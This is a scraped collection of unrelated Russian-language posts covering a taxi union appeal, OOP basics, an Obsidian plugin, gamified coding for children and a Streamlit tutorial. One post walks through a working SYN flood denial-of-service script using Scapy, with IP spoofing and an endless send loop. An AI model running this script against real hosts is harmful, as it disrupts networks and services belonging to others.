Мы в самом начале пути
Мы в самом начале пути .
В первую очередь, всем не равнодушным которые здесь собираются. Нам нужно собрать здесь ребят и девчонок которые работают водителями такси , не важно то будь на своей машине или на аренде. Нас должно быть хотя бы сто тысяч человек работающих водителем такси.
Примечание:
В Москве в такси работают 220 тыс. водителей, из них 59,4 тыс. — уроженцы других стран. Среди них больше всего приехавших из Киргизии, Таджикистана и Узбекистана. Всего в системе мониторинга такси «Аналитика работы такси» КИС АРТ зарегистрированы 220 тыс. водителей, сообщил заместитель главы департамента транспорта Москвы.
Далее каждый подписывает документ о вступлении в профсоюз таксистов , после сбора всех подписей создается правовое общество Профсоюз куда вступают все те которые подписали документ о вступлении в профсоюз таксистов и становятся равноправными членами профсоюза.
Затем создается платформа для коммуникации всех участников профсоюза и все туда добавляются ,следом решается вопрос по скидке для профсоюза (для каждого из нас) по топливу , следом добавляются по этапно и мере переговоров и достигнутых соглашений все соответствующие службы и привилегии описанные выше в профиле канала, которыми соответственно сможет воспользоваться каждый участник вступивший в профсоюз.
Далее пишется, создается и реализуется проект под приложение(агрегат ора), для его конкурентно способной жизни и деятельности среди всех конкурентов на рынке без исключения. В процессе создания и реализации проекта под приложение , идет подготовка к написанию самого приложения.
За тем , каждый участник профсоюза скидывается (проходит голосование в какой период вносится сумма) под документ профсоюза таксистов (в котором каждый уже состоит) по фиксированной сумме (сумму на написание приложения (агрегат ора) вноситься один раз) , чтобы не зависеть от инвесторов и спонсоров которых не было и не будет. Каждый член профсоюза является спонсором и инвестором приложения (агрегат ора) для работы которое аккумулируется в профсоюзе. Пишется приложение с учетом всех недочетов и косяков , с внедрением новых и практичных технологий ( что защищено авторскими правами и патентной составляющей – что и еще к тому же является еще одним конкурентоспособным инструментом ) для современной и удобной работы .
После написания приложения , мы (профсоюз) его тестируем и начинаем работать. А дальше строим инфраструктуру как внутри профсоюза для развития, так и с наружи.
давай к нам - https://t.me/+AqL4aarFDUJkODBi
Что такое ООП в простых словах(с примерами на пайтон)
Задумался недавно об ООП и вспомнил как я его учил..Не так долго, но годной инфы на тот момент не замечал, вот и решил хоть как то объяснить это другим на моем непонятном языке:)
Начнем с определения
Объектно-ориентированное программирование (ООП) — это такой подход к написанию программ, основанный на концепции "объектов" или "предметов".Объекты объединяют данные и методы (функции), которые могут с ними взаимодействовать.
Пример на пайтон
Здесь `Животное` - это базовый класс, а `Собака` и `Кот` - его подклассы. Каждый класс имеет свою переменную (`self.имя`) и метод `голос`, который может быть переопределен под конкретное животное
Более простым языком:
Код с пометкой "def" это функция, которую позже в коде можно вызвать с помощью ее имени
У каждого класса есть свое имя.И у каждой функции есть свое имя.
Ниже в коде можно увидеть вызов функций разных классов
Ещё могу сказать про дочерние классы
В ООП есть принцип наследования в котором один класс наследует что то из другого как в классах Кот и Собака они наследуют от Животное
Если я что то неправильно сказал пожалуйста исправьте меня:), а я знаю что, что то в выше написанном тексте может быть не правильным
На этом могу сказать все
Желаю всем удачи в изучении программирования
P.S. буду рад любой критике
Поиграем в бизнесменов?
Одна вакансия, два кандидата. Сможете выбрать лучшего? И так пять раз.
Excalidraw для Obsidian
Когда вы только начинаете использовать Obsidian, вам может показаться, что в программе вы работаете только с текстом. Текст может быть очень полезен. Его легко набирать, он доступен для просмотра на всех устройствах, и по нему можно осуществлять поиск.
Но что делать, если вы относитесь к тем людям, которым нужно что-то более наглядное, чем куча слов на экране? Для этого существует плагин. Он называется Excalidraw.
Идея заключается в том, что если у вас есть несколько заметок по интересующим вас темам, вам будет гораздо проще увидеть общую картину, перейти к каждому разделу и решить, над чем нужно работать дальше.
В первую очередь Excalidraw инструмент для рисования, но именно с целью передачи информации, а не создания произведений искусства. Хотя иногда для некоторых очень творческих и умных людей эти два вида деятельности пересекаются.
Как установить плагин: Также, как и другие. Вы просто заходите в настройки, затем в плагин сообщества, а затем устанавливаете и включаете плагин под названием Excalidraw.
После установки Excalidraw его можно открыть, нажав Command P или Control P, чтобы перейти к командной панели. Затем набираете в поиске Excalidraw. Так вы создадите рисунок.
Как осуществить атаку SYN Flooding в Python
В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.
▪Необходимо установить Scapy:
pip3 install scapy
▪Откройте новый файл Python и импортируйте Scapy:
from scapy.all import *
▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:
# target IP address (should be a testing router/firewall)
target_ip = "192.168.1.1"
# the target port u want to flood
target_port = 80
▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:
# forge IP packet with target ip as the destination IP address
ip = IP(dst=target_ip)
# or if you want to perform IP Spoofing (will work as well)
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.
▪Давайте подделаем наш TCP уровень:
# forge a TCP SYN packet with a random source port
# and the target port as the destination port
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.
Мы также установили флаги на “S”, что указывает на тип SYN.
▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:
# add some flooding data (1KB in this case)
raw = Raw(b"X"*1024)
Отлично!
▪Теперь сложим слои и отправим пакет:
# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop until CTRL+C is detected
send(p, loop=1, verbose=0)
Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.
Информация предоставлена исключительно для ознакомительных целей!
Топ интересных бесплатных курсов онлайн. Не только IT, разные темы
Во время карантина многие начали усиленно учиться и смотреть различные материалы. Сейчас эта тема отошла на второй план. Но я знаю, что некоторые люди именно благодаря бесплатным курсам сначала пробуют профессию и понимают свои силы и перспективы, а потом начинают что-то уже глобальнее и активнее изучать. Поэтому в этой подборке я собрала бесплатные курсы для взрослых и школьников.
Как учиться
Софт-скиллы, навыки, лидерство, MBA
Мода, Fashion
Психология
Маркетинг, продажи, переговоры
Кино, видеосъёмка, монтаж
Программирование, дизайн
Английский
Школьникам
СОХРАНЯЙТЕ СЕБЕ И ДЕЛИТЕСЬ С ДРУЗЬЯМИ.
Изучение программирования для детей с помощью игр
Что такое геймификация и как применяют ее на уроках программирования для детей
Геймификация. В последнее время это понятие можно услышать все чаще, и сегодня мы попробуем в нем разобраться. В статье мы расскажем, как этот принцип используется для обучения детей основам программирования.
Что же такое геймификация? Это внедрение игровых методов в процессы, которым это несвойственно и чуждо. Хорошим примером грамотного использования геймификации может послужить способ обучения новых сотрудников в современных крупных IT (и не только) компаниях. Получение новых знаний представляет собой игру, проходя которую, работник получает необходимые знания и навыки, а также расширяет свои компетенции.
В чем же секрет этого метода и почему он становится популярнее с каждым годом? Дело в том, что в геймификации используется склонность людей к получению достижений и наград даже за небольшие шаги в правильном направлении. Это может быть обучение или стандартный рабочий процесс, который по умолчанию вызывает скуку. Мудрое использование этой техники позволяет невообразимо повысить мотивацию, создав стимулирующую атмосферу вокруг унылого занятия.
Согласитесь, что куда приятнее было бы выполнять домашнюю рутину, если бы, например, за каждый выполненный пункт из списка дел вы бы получали новый уровень. А после получения определенного уровня смогли бы разблокировать в качестве награды робота-пылесоса, который бы упростил ваши домашние хлопоты. Или если бы вы могли отслеживать то, как с этой задачей справляются ваши соседи и устраивать с ними соревнования на скорость. В этом и есть принцип этого метода - создать увлекательную игру из неувлекательных процессов.
Изучение программирования с помощью геймификации
Однако лучше всего этот метод работает на детях и подростках, регулярно зависающих в компьютерных играх. Геймификация в обучении школьников помогает использовать притягательные свойства видеоигр во благо и улучшить качество усвоения материала.
Ученикам нравится изучать что-то новое в игровой форме, а также искать ответы на сложные вопросы так, как будто это новый уровень в увлекательной игре. Полученные таким образом знания и навыки сразу же закрепляются в памяти ребенка и применяются на практике для прохождения игры. Такой подход позволяет уйти от привычной всем зубрежки материала в образовании и отлично стимулирует детей продолжать обучение и не останавливаться на достигнутом.
Эффективность этой техники доказана многими исследованиями. Данный подход уходит от привычной идеи кнута и пряника и предлагает что-то новое и современное.
Закономерно, что лучше всего геймификация показала себя в обучении юных программистов, ведь в данном направлении очень легко применять техники, позволяющие превратить процесс обучения в увлекательную игру. Также сама IT отрасль тесно связана с видеоиграми, что позволяет изучать детям языки программирования напрямую через видеоигры. При этом процесс обучения всегда будет увлекательнее, нагляднее и результативнее, нежели при использовании классических и скучных задач.
Раньше дети, начинающие изучать программирование, зачастую писали программный код на «бумажках» с помощью обычных ручек. Само собой, такой подход вызывал у многих отторжение и нежелание продолжать изучение. Теперь же юные программисты могут изучать программирование в своих любимых видеоиграх и наглядно видеть, как работает тот самый код, который они только что написали.
Рассмотрим несколько примеров того, как сейчас ребята изучают программирование с помощью видеоигр.
Как изучают основы программирования на языке Python с помощью Minecraft
Многие наслышаны о Майнкрафте. Это игра в жанре «песочница», в которой игрок может различным образом взаимодействовать с огромным миром, полностью состоящим из различных кубов, каждый из которых имеет свои уникальные свойства. Широкие возможности, а также почти полное отсутствие ограничения творческой свободы всегда очень интересовали детей в этой игре.
Игра позволяет создавать собственные механизмы, повторяющие функционал существующих в реальном мире устройств, возводить потрясающие строения и проявлять свои творческие способности, изучать физику наглядно и многое другое. Именно за счет полезных свойств этой компьютерной игры продвинутые учителя программирования используют ее как «полигон» для изучения настоящих высокоуровневых языков программирования, например, Python.
С помощью специальной библиотеки для языка программирования Python, подключить и использовать которую сумеет каждый, можно напрямую запускать свои программы в виртуальном мире и наблюдать за тем, как они работают. Подобно тому, как фиксики могут показать любой прибор изнутри, педагог с помощью данной библиотеки позволяет ученикам погрузиться в программу и понять, как она работает на самом деле. Таким образом проходят уроки по программированию в Майнкрафт.
Ученики всегда остаются в восторге от подобного метода изучения программирования. У них появляется уникальная возможность «пощупать» код в привычной для себя обстановке, понять, как взрослые программисты создают настоящие компьютерные игры и другие сложные продукты. Но самое главное — написать свою собственную программу, которая воплотит весь их творческий потенциал. Это очень наглядный пример использования геймификации для повышения эффективности обучения детей.
Вот пример того, как преподаватели школы программирования «Пиксель» проводят свои уроки по программированию в Minecraft, придерживаясь принципов геймификации:
Как дети изучают программирование на языке Lua в Roblox
Но не только «Майнкрафт» можно использовать в качестве «тестового полигона» для начинающих программистов. Другая популярная игра схожего жанра, отлично подходящая для этих целей, — это «Роблокс».
Данная платформа изначально разрабатывалась как виртуальный «конструктор», в котором пользователи смогут реализовывать свои самые смелые идеи и проекты. Интерфейс программы схож со «взрослыми» игровыми движками (например, Unity, Unreal Engine и т.п.), но наполнен интересными для детей образами и функциями. Возможности игры ограничены только фантазией ребенка, что и делает «Роблокс» отличным инструментом для изучения детьми основ программирования.
Ученики, увлеченные своей любимой видеоигрой, очень заинтересованы в том, чтобы создать свой собственный проект или уровень в рамках узнаваемой платформы, который впоследствии они смогут показать своим друзьям и сыграть вместе с ними. Но чтобы создать свой проект, ребятам нужно изучить язык программирования Lua. Тут снова на помощь и приходит геймификация. Мудрый преподаватель сможет продемонстрировать юным программистам, как на самом деле создаются их любимые игры и обозначить пользу от изучения программирования на практике.
На уроках по программированию в «Роблокс» ребята познакомятся с такой современной и очень актуальной профессией, как геймдизайнер, научатся программировать на языке программирования Lua, изучат основы 3D-моделирования и анимации. Также дети получат множество других интересных навыков, и все это в рамках их любимой игры. Вот пример таких интересных уроков:
Почему геймификация — обязательный элемент хороших курсов по программированию для детей
Если бы не процесс геймификации образования, начинающие программисты вынуждены были бы изучать эту невероятно актуальную в современном мире профессию, продолжая писать код вручную с помощью карандаша и ручки.
Современное же поколение может осваивать программирование куда более интересным способом: наблюдая за визуализацией своего собственного кода через призму виртуального мира, а не на бумаге. Так принципы программирования гораздо лучше усваиваются и закрепляются на практике.
Информационные технологии сейчас — это модно и престижно, изучать их нужно с помощью современных методов. Поэтому важно следовать принципам геймификации и разглядеть в видеоиграх кладезь знаний и навыков, которые дети могут получить с их помощью.
Отличник или двоечник? Узнайте свой уровень подготовки к Евро-2024
Для всех поклонников футбола, Hisense подготовил крутой конкурс в соцсетях. Попытайте удачу, чтобы получить классный мерч и технику от глобального партнера чемпионата.
А если не любите полагаться на случай и сразу отправляетесь за техникой Hisense, не прячьте далеко чек. Загрузите на сайт и получите подписку на Wink на 3 месяца в подарок.
Реклама ООО «Горенье БТ», ИНН: 7704722037
Интересный Python #14: визуализируем данные
Сегодня напишем вот такое приложение всего в 53 строки кода. Да, всего 53, без шуток. И всё благодаря Streamlit.
Что такое Streamlit?
Streamlit - это библиотека, которая позволяет создавать веб-интерфейс для приложений, работающих с данными. Так что если вы работаете с Pandas, используете Matplotlib, Bokeh, Altair и подобные инструменты, то с помощью Streamlit сможете оборачивать свои скрипты в интерактивные веб-интерфейсы и делиться ими с другими пользователями.
Для кого этот пост?
Для тех, кто уже неплохо знаком с Python и часто работает с данными. Для начинающих многие вещи будут сложноватыми.
Как установить Streamlit
1. Откройте терминал (командную строку);
2. Если умеете пользоваться виртуальным окружением, то создайте и активируйте его. Если нет, то пропустите этот шаг;
3. Выполните команду pip install streamlit.
Документация
Документация просто великолепная, очень удобная и красивая. Ознакомиться с ней можно здесь.
Дальше в посте будет много кода в виде скриншотов. Забрать его в виде текста можно здесь.
Интерфейс
Для начала соберём интерфейс приложения. Он будет состоять из:
- формы (контейнера для других элементов);
- нескольких слайдеров;
- пары полей для ввода чисел;
- кнопки;
- линейного графика.
Для каждого из этих элементов в Streamlit есть отдельный класс.
Форма нужна для того, чтобы скрипт не перезапускался полностью при каждом изменении слайдера или поля для ввода (по умолчанию в Streamlit реализовано именно такое поведение).
Пишем код
Задаём настройки страницы, добавляем заголовок «Симулятор ставок» и создаём форму с элементами.
Запускаем сервер
Чтобы запустить сервер Streamlit, выполните в терминале следующую команду:
python -m streamlit run main.py
Вместо main.py, конечно же, укажите имя вашего основного модуля.
Если всё сделано правильно, то спустя несколько секунд откроется окно браузера, в котором отрисуется интерфейс.
Важно: запускать программу с помощью интерпретатора Python не нужно, сервер Streamlit сам это сделает. Если вы внесёте изменения в исходный код, то достаточно будет просто обновить страницу, чтобы изменения вступили в силу.
Логика
Теперь реализуем внутреннюю логику. Нужно будет при каждом нажатии на кнопку в форме генерировать датафрейм с результатами ставок.
Начнём с импорта нужных модулей.
Так как нужно будет генерировать N наборов данных, построенных по одинаковому принципу, то упакуем начальные «настройки» в класс, и будем использовать их при вызове методов.
Соединяем интерфейс и логику
Осталось сделать так, чтобы при клике по кнопке приложение забирало данные из элементов интерфейса и отдавало их в Simulator.
Приложение готово. Обновите страницу в браузере, и Streamlit автоматически подтянет все изменения.
Деплой
Streamlit щедро раздаёт свои облачные ресурсы, так что развернуть приложение можно буквально в пару команд. Пушим код на Github, даём Streamlit ссылку на репозиторий, немного ждём и получаем ссылку на наше приложение в облаке. Подробности - в документации.